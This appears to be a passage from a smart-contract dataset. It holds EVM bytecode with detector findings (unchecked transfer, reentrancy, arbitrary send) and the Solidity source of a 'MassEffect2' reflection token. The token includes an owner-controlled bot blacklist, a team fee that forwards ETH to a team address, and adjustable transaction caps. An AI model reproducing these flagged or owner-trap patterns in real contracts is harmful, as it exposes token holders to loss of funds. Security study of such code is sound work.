01000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182600001601c9054906101000a900463ffffffff1663ffffffff1681526020018260010154815250848460ff16606481101515611ee657fe5b60200201819052508280600101935050611dc7565b505050919050565b606481565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007f5065726d697373696f6e4772616e74657200000000000000000000000000000060001916815260200190815260200160002060009054906101000a900460ff161515612023576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001807f6d73672e73656e646572206d7573742068617665205065726d697373696f6e4781526020017f72616e746572207065726d697373696f6e00000000000000000000000000000081525060400191505060405180910390fd5b60016000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fc65937e3dbcb9fb30f646815dd67a3dbd09ba17718cbcb54efbe3635f8e0a6fe8260405180826000191660001916815260200191505060405180910390a25050565b6000806000806000806000806000600360008c67ffffffffffffffff1667ffffffffffffffff1681526020019081526020016000209750600460008b67ffffffffffffffff1667ffffffffffffffff1681526020019081526020016000209650600088600101541480612164575060008760010154145b1561217257600098506127ee565b86600001601c9054906101000a900463ffffffff1663ffffffff1688600001601c9054906101000a900463ffffffff1663ffffffff161015151561221e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f627579207072696365206d757374206265203e3d2073656c6c2070726963650081525060200191505060405180910390fd5b8967ffffffffffffffff168b67ffffffffffffffff16116122535787600001601c9054906101000a900463ffffffff16612269565b86600001601c9054906101000a900463ffffffff165b9550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dc726205600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166333a263e66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561232f57600080fd5b505af1158015612343573d6000803e3d6000fd5b505050506040513d602081101561235957600080fd5b81019080805190602001909291905050506040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600019166000191681526020019150506040805180830381600087803b1580156123c357600080fd5b505af11580156123d7573d6000803e3d6000fd5b505050506040513d60408110156123ed57600080fd5b810190808051906020019092919080519060200190929190505050508095505061243b620f424061242d8863ffffffff1688612b7690919063ffffffff16565b612c1590919063ffffffff16565b935061246e84612460670de0b6b3a76400008a60010154612b7690919063ffffffff16565b612c1590919063ffffffff16565b925087600101548311151561248c57829150866001015490506124c7565b876001015491506124c4670de0b6b3a76400006124b6868b60010154612b7690919063ffffffff16565b612c1590919063ffffffff16565b90505b6124de828960010154612cd190919063ffffffff16565b88600101819055506000886001015414156124fd576124fc886127fc565b5b612514818860010154612cd190919063ffffffff16565b87600101819055506000876001015414156125335761253287612b50565b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ffdcf0958960000160089054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200180602001828103825260148152602001807f42757920746f6b656e206f726465722066696c6c0000000000000000000000008152506020019350505050600060405180830381600087803b15801561265557600080fd5b505af1158015612669573d6000803e3d6000fd5b505050508660000160089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156126d7573d6000803e3d6000fd5b508660000160089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168860000160089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0a12a6ac2a94cfb31b52c51380c5df1d51d357e8fdc0d5d49a3eaf07c543eceb8d8d898b8a8989604051808867ffffffffffffffff1667ffffffffffffffff1681526020018767ffffffffffffffff1667ffffffffffffffff1681526020018681526020018563ffffffff1663ffffffff16815260200184815260200183815260200182815260200197505050505050505060405180910390a3600198505b505050505050505092915050565b61281f60058260000160009054906101000a900467ffffffffffffffff16612d56565b50565b6000808363ffffffff161115156128a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f7072696365206d757374206265203e203000000000000000000000000000000081525060200191505060405180910390fd5b600082111515612919576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f746f6b656e416d6f756e74206d757374206265203e203000000000000000000081525060200191505060405180910390fd5b6002601481819054906101000a900467ffffffffffffffff1660010191906101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055905060806040519081016040528060068054905067ffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018463ffffffff16815260200183815250600460008367ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600001601c6101000a81548163ffffffff021916908363ffffffff16021790555060608201518160010155905050600681908060018154018082558091505090600182039060005260206000209060049182820401919006600802909192909190916101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550508373ffffffffffffffffffffffffffffffffffffffff168167ffffffffffffffff167f19e48c9ddede2f434b2a662a6e331ff29b3701f08ad88722e4fecf058b3fd75985856000604051808463ffffffff1663ffffffff168152602001838152602001828152602001935050505060405180910390a39392505050565b612b7360068260000160009054906101000a900467ffffffffffffffff16612d56565b50565b60008082840290506000841480612b975750828482811515612b9457fe5b04145b1515612c0b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f6d756c206f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b8091505092915050565b600080600083111515612c90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f646976206279203000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8284811515612c9b57fe5b049050600283811515612caa57fe5b048385811515612cb657fe5b06101515612cc75780806001019150505b8091505092915050565b6000828211151515612d4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f73756220756e646572666c6f770000000000000000000000000000000000000081525060200191505060405180910390fd5b818303905092915050565b60018280549050038167ffffffffffffffff161015612e0257816001838054905003815481101515612d8457fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff16828267ffffffffffffffff16815481101515612dc657fe5b90600052602060002090600491828204019190066008026101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b81805480919060019003612e169190612e4a565b505050565b613200604051908101604052806064905b612e34612e84565b815260200190600190039081612e2c5790505090565b815481835581811115612e7f576003016004900481600301600490048360005260206000209182019101612e7e9190612ea7565b5b505050565b608060405190810160405280600490602082028038833980820191505090505090565b612ec991905b80821115612ec5576000816000905550600101612ead565b5090565b905600a165627a7a723058204b1b5ac8951822fa6e2cd9c8e5e3e1aec18ad20b1b589421d3e28f0a438fc6b80029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,593 |
0x309790d489dcf153d037d618b3e58cfc33437a42 | /**
*Submitted for verification at Etherscan.io on 2021-07-06
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MassEffect2 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Mass Effect 2 ";
string private constant _symbol = " MassEffect2 ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600f81526020017f204d617373204566666563742032200000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f204d617373456666656374322000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd